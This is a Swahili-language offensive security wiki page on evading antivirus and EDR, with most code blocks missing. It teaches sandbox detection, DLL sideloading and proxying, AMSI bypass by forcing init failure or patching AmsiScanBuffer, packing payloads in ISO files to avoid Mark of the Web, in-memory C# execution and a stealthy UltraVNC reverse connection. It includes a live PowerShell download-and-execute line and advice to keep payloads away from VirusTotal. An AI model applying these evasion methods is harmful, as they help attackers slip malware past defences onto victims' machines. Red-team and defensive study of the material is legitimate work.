Antivirus (AV) Bypass
Ukurasa huu uliandikwa na @m2rc_p!
Mbinu ya Kuepuka AV
Kwa sasa, AV hutumia njia tofauti za kuangalia ikiwa faili ni hatari au la, uchunguzi wa tuli, uchambuzi wa kudumu, na kwa EDRs za juu zaidi, uchambuzi wa tabia.
Uchunguzi wa Tuli
Uchunguzi wa tuli unafikiwa kwa kuweka alama mstari au mafurushi ya baiti hatari katika binary au script, na pia kutoa habari kutoka kwa faili yenyewe (k.m. maelezo ya faili, jina la kampuni, saini za kidijitali, ikoni, checksum, nk.). Hii inamaanisha kwamba kutumia zana za umma zinaweza kukusababisha kukamatwa kwa urahisi zaidi, kwani labda zimechambuliwa na kuwekwa alama kama hatari. Kuna njia kadhaa za kuzunguka aina hii ya uchunguzi:
Ufichaji
Ikiwa unaficha binary, hakutakuwa na njia ya AV kugundua programu yako, lakini utahitaji aina fulani ya mzigo wa kufichua na kuendesha programu kumbukani.
Ufichaji
Marafiki wakati mwingine unachohitaji kufanya ni kubadilisha baadhi ya mstari katika binary au script yako ili kuipitisha AV, lakini hii inaweza kuwa kazi inayochukua muda kutegemea ni nini unajaribu kuficha.
Zana za Kibinafsi
Ikiwa unatengeneza zana zako mwenyewe, haitakuwa na saini mbaya zinazojulikana, lakini hii inachukua muda na juhudi nyingi.
Njia nzuri ya kuchunguza dhidi ya uchunguzi wa tuli wa Windows Defender ni ThreatCheck. Kimsingi inagawa faili katika sehemu kadhaa na kisha inaagiza Defender kuchunguza kila moja kwa kujitegemea, kwa njia hii, inaweza kukwambia ni vipi mstari au baiti zilizowekwa alama katika binary yako.
Napendekeza sana uangalie hii Orodha ya YouTube kuhusu Upelelezi wa AV wa vitendo.
Uchambuzi wa Kudumu
Uchambuzi wa kudumu ni wakati AV inaendesha binary yako kwenye sanduku la mchanga na kusubiri shughuli hatari (k.m. jaribio la kufichua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, nk.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo unayoweza kufanya kuepuka sanduku la mchanga.
Lala kabla ya utekelezaji Kulingana na jinsi ilivyoanzishwa, inaweza kuwa njia nzuri ya kuepuka uchambuzi wa kudumu wa AV. AV zina muda mfupi sana wa kuchunguza faili ili kusiingilie kazi ya mtumiaji, hivyo kutumia lala ndefu kunaweza kuvuruga uchambuzi wa binaries. Tatizo ni kwamba mchanga wa AV unaweza tu kupuuza usingizi kulingana na jinsi ilivyoanzishwa.
Kuangalia rasilimali za mashine Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (k.m. < 2GB RAM), vinginevyo zingeweza kupunguza kasi ya mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi ya kifaa cha kupooza, si kila kitu kitatekelezwa kwenye mchanga.
Uchunguzi wa kipekee wa mashine Ikiwa unataka kulenga mtumiaji ambaye kituo chake cha kazi kimejiunga na kikoa cha "contoso.local", unaweza kufanya ukaguzi kwenye kikoa cha kompyuta kuona ikiwa kinalingana na kile ulichotaja, ikiwa hailingani, unaweza kufanya programu yako ijitoe.
Inageuka kuwa jina la kompyuta ya Sanduku la Mchanga la Microsoft Defender ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika zako kabla ya kuzindua, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sanduku la mchanga la defender, hivyo unaweza kufanya programu yako ijitoe.
Mbinu nyingine nzuri kutoka kwa @mgeeky kwa kupinga Sandboxes
Kama tulivyosema hapo awali katika chapisho hili, zana za umma mwishowe zitagunduliwa, hivyo, unapaswa kujiuliza kitu:
Kwa mfano, ikiwa unataka kudondosha LSASS, je, unahitaji kweli kutumia mimikatz? Au unaweza kutumia mradi tofauti ambao ni mdogo maarufu na pia unadondosha LSASS.
Jibu sahihi labda ni la mwisho. Kuchukua mimikatz kama mfano, labda ni moja ya, ikiwa sio moja ya, vipande vilivyo na alama nyingi zaidi ya zisizo salama na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni janga kufanya kazi nayo ili kuepuka AVs, kwa hivyo tafuta mbadala kwa kile unachotaka kufikia.
Unapobadilisha mizigo yako kwa kuepuka, hakikisha kuzima utoaji wa sampuli moja kwa moja kwa defender, na tafadhali, kwa umakini, USIWEKE KATIKA VIRUSTOTAL ikiwa lengo lako ni kufikia kuepuka kwa muda mrefu. Ikiwa unataka kujua ikiwa mizigo yako inagunduliwa na AV fulani, iweke kwenye VM, jaribu kuzima utoaji wa sampuli moja kwa moja, na ujaribu hapo hadi uridhike na matokeo.
EXEs vs DLLs
Kila wakati pauni kutumia DLLs kwa kuepuka, kwa uzoefu wangu, faili za DLL kawaida hugunduliwa kidogo na kuchambuliwa, hivyo ni mbinu rahisi sana ya kutumia ili kuepuka ugunduzi katika baadhi ya kesi (ikiwa mizigo yako ina njia ya kufanya kazi kama DLL kwa hakika).
Kama tunavyoona katika picha hii, Mzigo wa DLL kutoka Havoc una kiwango cha ugunduzi cha 4/26 katika antiscan.me, wakati mzigo wa EXE una kiwango cha ugunduzi cha 7/26.
Sasa tutawaonyesha mbinu unazoweza kutumia na faili za DLL ili kuwa na siri zaidi.
Kusakinisha DLL & Kupakia
Kusakinisha DLL inatumia utaratibu wa utafutaji wa DLL unaotumiwa na kifurushi kwa kuweka programu ya mwathiriwa na mzigo mbaya kando kando.
Unaweza kuchunguza programu zinazoweza kuathiriwa na Kusakinisha DLL kwa kutumia Siofra na script ifuatayo ya powershell:
Amri hii itatoa orodha ya programu zinazoweza kushambuliwa na DLL hijacking ndani ya "C:\Program Files\" na faili za DLL wanazojaribu kupakia.
Napendekeza sana uchunguze programu zinazoweza kushambuliwa na DLL/Sideloadable mwenyewe, hii ni mbinu ya siri kabisa ikifanywa ipasavyo, lakini ukizitumia programu za DLL Sideloadable zinazojulikana hadharani, unaweza kugunduliwa kwa urahisi.
Kwa kuweka DLL yenye nia mbaya na jina ambalo programu inatarajia kupakia, haitapakia mzigo wako, kwani programu inatarajia baadhi ya kazi maalum ndani ya DLL hiyo, ili kurekebisha tatizo hili, tutatumia mbinu nyingine inayoitwa DLL Proxying/Forwarding.
DLL Proxying inapeleka wito ambao programu inafanya kutoka kwenye DLL ya proksi (na yenye nia mbaya) hadi kwenye DLL halisi, hivyo kuhifadhi utendaji wa programu na kuweza kushughulikia utekelezaji wa mzigo wako.
Nitatumia mradi wa SharpDLLProxy kutoka kwa @flangvik
Hizi ndizo hatua nilizofuata:
Amri ya mwisho itatupa faili 2: templeti ya msimbo wa chanzo wa DLL, na DLL iliyobadilishwa jina lake asili.
Hizi ni matokeo:
Shellcode yetu (iliyohifadhiwa na SGN) na DLL mbadala zina kiwango cha Uchunguzi cha 0/26 katika antiscan.me! Ningeliita hilo kuwa mafanikio.
Ninapendekeza sana uangalie S3cur3Th1sSh1t's twitch VOD kuhusu DLL Sideloading na pia video ya ippsec ili kujifunza zaidi kuhusu tuliyozungumza kwa undani zaidi.
Freeze ni zana ya mzigo wa payload kwa kuzidi EDRs kwa kutumia michakato iliyosimamishwa, syscalls moja kwa moja, na njia mbadala za utekelezaji
Unaweza kutumia Freeze kusoma na kutekeleza shellcode yako kwa njia ya siri.
Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugunduliwa kesho, kwa hivyo kamwe usitegemee zana moja tu, ikiwezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
AMSI (Kioo cha Uchunguzi wa Programu hasidi)
AMSI iliumbwa kuzuia "programu hasidi isiyo na faili". Awali, AVs walikuwa na uwezo wa kuchunguza faili kwenye diski, kwa hivyo ikiwa ungeweza kwa njia fulani kutekeleza mizigo moja kwa moja kwenye kumbukumbu, AV haitaweza kufanya chochote kuzuia hilo, kwani haikuwa na uwezo wa kutosha.
Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
Udhibiti wa Akaunti ya Mtumiaji, au UAC (kuinua EXE, COM, MSI, au usanidi wa ActiveX)
PowerShell (maandishi, matumizi ya moja kwa moja, na tathmini ya nambari ya kudumu)
Mwenyeji wa Script wa Windows (wscript.exe na cscript.exe)
JavaScript na VBScript
Macros za Ofisi VBA
Inaruhusu suluhisho za antivirus kuchunguza tabia ya skripti kwa kufunua maudhui ya skripti katika fomu ambayo haijafichwa wala haijaandikwa.
Kukimbia IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
kutazalisha onyo lifuatalo kwenye Windows Defender.
Tambua jinsi inavyoongeza amsi:
na kisha njia ya faili ya kutekelezwa ambayo skripti ilikimbia kutoka, katika kesi hii, powershell.exe
Hatukudondosha faili yoyote kwenye diski, lakini bado tukakamatwa kwenye kumbukumbu kwa sababu ya AMSI.
Kuna njia kadhaa za kuzunguka AMSI:
Kuficha
Kwa kuwa AMSI kimsingi hufanya kazi na uchunguzi wa tuli, kwa hivyo, kubadilisha skripti unazojaribu kupakia inaweza kuwa njia nzuri ya kuepuka ugunduzi.
Hata hivyo, AMSI ina uwezo wa kufunua skripti hata ikiwa ina safu nyingi, kwa hivyo kuficha inaweza kuwa chaguo baya kulingana na jinsi inavyofanywa. Hii inafanya iwe si rahisi sana kuepuka. Ingawa, mara nyingine, yote unayohitaji kufanya ni kubadilisha majina machache ya pembejeo na utakuwa sawa, kwa hivyo inategemea ni kiasi gani kitu kimetambuliwa.
Kuzunguka AMSI
Kwa kuwa AMSI inatekelezwa kwa kupakia DLL kwenye mchakato wa powershell (pia cscript.exe, wscript.exe, n.k.), ni rahisi kuharibu hiyo hata ukiendesha kama mtumiaji asiye na mamlaka. Kwa sababu ya kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia kadhaa za kuepuka uchunguzi wa AMSI.
Kulazimisha Kosa
Kulazimisha kushindwa kwa kuanzisha AMSI (amsiInitFailed) kutafanya uchunguzi wowote usianzishwe kwa mchakato wa sasa. Awali hii ilitangazwa na Matt Graeber na Microsoft imeendeleza saini ya kuzuia matumizi zaidi.
Kila ilichukua ni mstari mmoja wa nambari ya powershell ili kufanya AMSI isiweze kutumika kwa mchakato wa sasa wa powershell. Mstari huu kwa kweli umefichuliwa na AMSI yenyewe, hivyo mabadiliko fulani yanahitajika ili kutumia mbinu hii.
Hapa kuna kizuizi kilichobadilishwa cha AMSI nilichopata kutoka kwenye hii Github Gist.
Kumbuka, hii labda itachunguzwa mara tu chapisho hili litakapotoka, kwa hivyo usichapishe nambari yoyote ikiwa lengo lako ni kubaki bila kugunduliwa.
Kupachika Kumbukumbu
Mbinu hii iligunduliwa awali na @RastaMouse na inahusisha kupata anwani ya kazi ya "AmsiScanBuffer" katika amsi.dll (inayohusika na kutambua kuingizaji inayotolewa na mtumiaji) na kuibadilisha na maagizo ya kurudisha nambari ya E_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inachukuliwa kama matokeo safi.
Tafadhali soma https://rastamouse.me/memory-patching-amsi-bypass/ kwa maelezo zaidi.
Kuna mbinu nyingine nyingi zinazotumika kukiuka AMSI na powershell, angalia ukurasa huu na repo hii kujifunza zaidi kuhusu hizo.
Au skripti hii ambayo kupitia kupachika kumbukumbu itapachika kila Powersh mpya
Kuficha
Kuna zana kadhaa zinazoweza kutumika kuficha nambari wazi ya C#, kuzalisha templeti za metaprogramming kwa kusanidi binaries au kuficha binaries zilizosanidiwa kama:
InvisibilityCloak: Kuficha C#
Obfuscator-LLVM: Lengo la mradi huu ni kutoa tawi la chanzo wazi la LLVM suite ya kusanidi ili kutoa usalama wa programu ulioongezeka kupitia kuficha nambari na kufanya iwe ngumu kuharibika.
ADVobfuscator: ADVobfuscator inaonyesha jinsi ya kutumia
C++11/14
lugha kuzalisha, wakati wa kusanidi, nambari iliyofichwa bila kutumia zana ya nje na bila kubadilisha kisanidi.obfy: Ongeza safu ya shughuli zilizofichwa zilizozalishwa na mfumo wa metaprogramming wa templeti ya C++ ambayo itafanya maisha ya mtu anayetaka kuvunja programu kuwa ngumu kidogo.
Alcatraz: Alcatraz ni kuficha binary ya x64 ambayo inaweza kuficha faili tofauti za pe ikiwa ni pamoja na: .exe, .dll, .sys
metame: Metame ni injini rahisi ya nambari ya metamorphic kwa utekelezaji wa aina yoyote.
ropfuscator: ROPfuscator ni mfumo wa kuficha nambari kwa kiwango cha chini cha LLVM-supported lugha kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu kwa kiwango cha nambari ya mkutano kwa kubadilisha maagizo ya kawaida kuwa minyororo ya ROP, kuzuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
Nimcrypt: Nimcrypt ni .NET PE Crypter iliyoandikwa kwa Nim
inceptor: Inceptor inaweza kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuzipakia
SmartScreen & MoTW
Labda umewahi kuona skrini hii unapopakua baadhi ya faili za utekelezaji kutoka kwenye wavuti na kuzitekeleza.
Microsoft Defender SmartScreen ni mbinu ya usalama iliyokusudiwa kulinda mtumiaji wa mwisho dhidi ya kutekeleza programu zinazoweza kuwa mbaya.
SmartScreen kimsingi hufanya kazi kwa njia ya sifa-msingi, maana kwamba programu zisizopakuliwa kawaida zitazua SmartScreen hivyo kumuarifu na kumzuia mtumiaji wa mwisho kutekeleza faili (ingawa faili inaweza bado kutekelezwa kwa kubonyeza More Info -> Run anyway).
MoTW (Mark of The Web) ni NTFS Alternate Data Stream yenye jina la Zone.Identifier ambayo inaundwa moja kwa moja unapopakua faili kutoka kwenye wavuti, pamoja na URL iliyopakuliwa kutoka.
Ni muhimu kutambua kwamba programu zilizosainiwa na cheti cha kuaminika hazitazua SmartScreen.
Njia yenye ufanisi sana ya kuzuia mizigo yako isipate Mark of The Web ni kwa kuzipakia ndani ya aina fulani ya chombo kama ISO. Hii hutokea kwa sababu Mark-of-the-Web (MOTW) hauwezi kutumika kwa volumes zisizo NTFS.
PackMyPayload ni zana inayopakia mizigo ndani ya kontena za pato ili kuepuka Mark-of-the-Web.
Matumizi ya mfano:
Hapa kuna demo ya kukiuka SmartScreen kwa kufunga mizigo ndani ya faili za ISO kwa kutumia PackMyPayload
Ufikiaji wa Mkutano wa C#
Kupakia binaries za C# kumbukumbu imejulikana kwa muda mrefu na bado ni njia nzuri sana ya kukimbia zana zako za post-exploitation bila kugunduliwa na AV.
Kwa kuwa mizigo itapakia moja kwa moja kwenye kumbukumbu bila kugusa diski, tutahitaji kuhangaika tu kuhusu kufanya marekebisho kwa AMSI kwa mchakato mzima.
Vifumo vingi vya C2 (kama vile sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari hutoa uwezo wa kutekeleza vikusanyo vya C# moja kwa moja kwenye kumbukumbu, lakini kuna njia tofauti za kufanya hivyo:
Fork&Run
Inahusisha kuzaa mchakato mpya wa kujitolea, kuingiza msimbo wako mbaya wa post-exploitation kwenye mchakato mpya huo, kutekeleza msimbo wako mbaya na baada ya kumaliza, kuua mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unatokea nje ya mchakato wetu wa Beacon implant. Hii inamaanisha kwamba ikiwa kitu katika hatua yetu ya post-exploitation kinakwenda vibaya au kinagunduliwa, kuna nafasi kubwa zaidi ya implant yetu kusalia. Hasara ni kwamba una nafasi kubwa ya kugunduliwa na Uchunguzi wa Tabia.
Inline
Inahusu kuingiza msimbo wako mbaya wa post-exploitation ndani ya mchakato wake mwenyewe. Kwa njia hii, unaweza kuepuka kuhitaji kuunda mchakato mpya na kuupata kuchunguzwa na AV, lakini hasara ni kwamba ikiwa kitu kitakwenda vibaya na utekelezaji wa mizigo yako, kuna nafasi kubwa zaidi ya kupoteza beacon yako kwani inaweza kugonga.
Ikiwa unataka kusoma zaidi kuhusu kupakia Mkutano wa C#, tafadhali angalia makala hii https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ na InlineExecute-Assembly BOF yao (https://github.com/xforcered/InlineExecute-Assembly)
Unaweza pia kupakia Mkutano wa C# kutoka kwa PowerShell, angalia Invoke-SharpLoader na video ya S3cur3th1sSh1t.
Kutumia Lugha Nyingine za Programu
Kama ilivyopendekezwa katika https://github.com/deeexcee-io/LOI-Bins, ni rahisi kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kumpa mashine iliyoharibiwa ufikiaji kwenye mazingira ya mkalimani yaliyowekwa kwenye SMB share inayodhibitiwa na Mshambuliaji.
Kwa kuruhusu ufikiaji kwa Vifaa vya Mkutano na mazingira kwenye SMB share unaweza kutekeleza msimbo wa kupindukia kwa lugha hizi ndani ya kumbukumbu ya mashine iliyoharibiwa.
Repo inaonyesha: Mlinzi bado anachunguza hati lakini kwa kutumia Go, Java, PHP nk tunayo uhuru zaidi wa kukiuka saini za tuli. Majaribio na hati za ganda la kurudi zisizofichwa kwa bahati katika lugha hizi yamefanikiwa.
Kuepuka Kwa Juu
Kuepuka ni mada ngumu sana, mara nyingi unapaswa kuzingatia vyanzo vingi tofauti vya telemetri katika mfumo mmoja tu, kwa hivyo ni karibu haiwezekani kubaki bila kugunduliwa kabisa katika mazingira yaliyokomaa.
Kila mazingira unayokabiliana nayo yatakuwa na nguvu na udhaifu wake.
Ninahimiza sana uangalie mazungumzo haya kutoka kwa @ATTL4S, ili kupata uelewa zaidi wa mbinu za Kuepuka za Juu.
Hii pia ni mazungumzo mengine mazuri kutoka kwa @mariuszbit kuhusu Kuepuka kwa Kina.
Mbinu za Zamani
Angalia sehemu zipi Mlinzi anazipata kuwa mbaya
Unaweza kutumia ThreatCheck ambayo itaondoa sehemu za binary** hadi itakapogundua sehemu ipi Mlinzi anapata kuwa mbaya na kugawanya kwako. Zana nyingine inayofanya kitu sawa ni avred na wavuti wazi inayotoa huduma katika https://avred.r00ted.ch/
Anza wakati mfumo unapoanza na endesha sasa:
Badilisha mlango wa telnet (kwa siri) na afya firewall:
UltraVNC
Pakua kutoka: http://www.uvnc.com/downloads/ultravnc.html (unataka kupakua bin, sio usanidi)
KATIKA MHUDUMU: Tekeleza winvnc.exe na tengeneza mwenyeji:
Wezesha chaguo la Zima TrayIcon
Weka nenosiri katika Nenosiri la VNC
Weka nenosiri katika Nenosiri la Kuona-Pekee
Kisha, hamisha binari winvnc.exe na faili iliyoundwa mara UltraVNC.ini ndani ya mlemavu
Unganisho la Nyuma
Mshambuliaji anapaswa kutekeleza ndani ya mwenyeji wake binari vncviewer.exe -sikiliza 5900
ili iwe tayari kukamata unganisho la VNC la nyuma. Kisha, ndani ya mlemavu: Anza daemini ya winvnc winvnc.exe -endesha
na endesha winwnc.exe [-kujaribuupya] -unganisha <anwani_ya_mshambuliaji>::5900
ANGALIZO: Ili kudumisha siri lazima usifanye mambo machache
Usianze
winvnc
ikiwa tayari inaendeshwa au utazindua popup. angalia ikiwa inaendeshwa natasklist | findstr winvnc
Usianze
winvnc
bilaUltraVNC.ini
katika saraka ile ile au itasababisha dirisha la usanidi kufunguliwaUsiendeshe
winvnc -h
kwa msaada au utazindua popup
GreatSCT
Pakua kutoka: https://github.com/GreatSCT/GreatSCT
Ndani ya GreatSCT:
Sasa anza kusikiliza na msfconsole -r file.rc
na tekeleza malipo ya xml na:
Mlinzi wa sasa atamaliza mchakato haraka sana.
Kukusanya ganda letu la kurudisha
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Ganda la Kwanza la C# la Kurudisha
Tumia na:
Kutumia compiler wa C#
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Upakuaji na utekelezaji wa moja kwa moja:
Orodha ya waficha C# : https://github.com/NotPrab/.NET-Obfuscator
C++
Kutumia python kwa mfano wa kujenga sindano:
Vifaa vingine
Zaidi
Last updated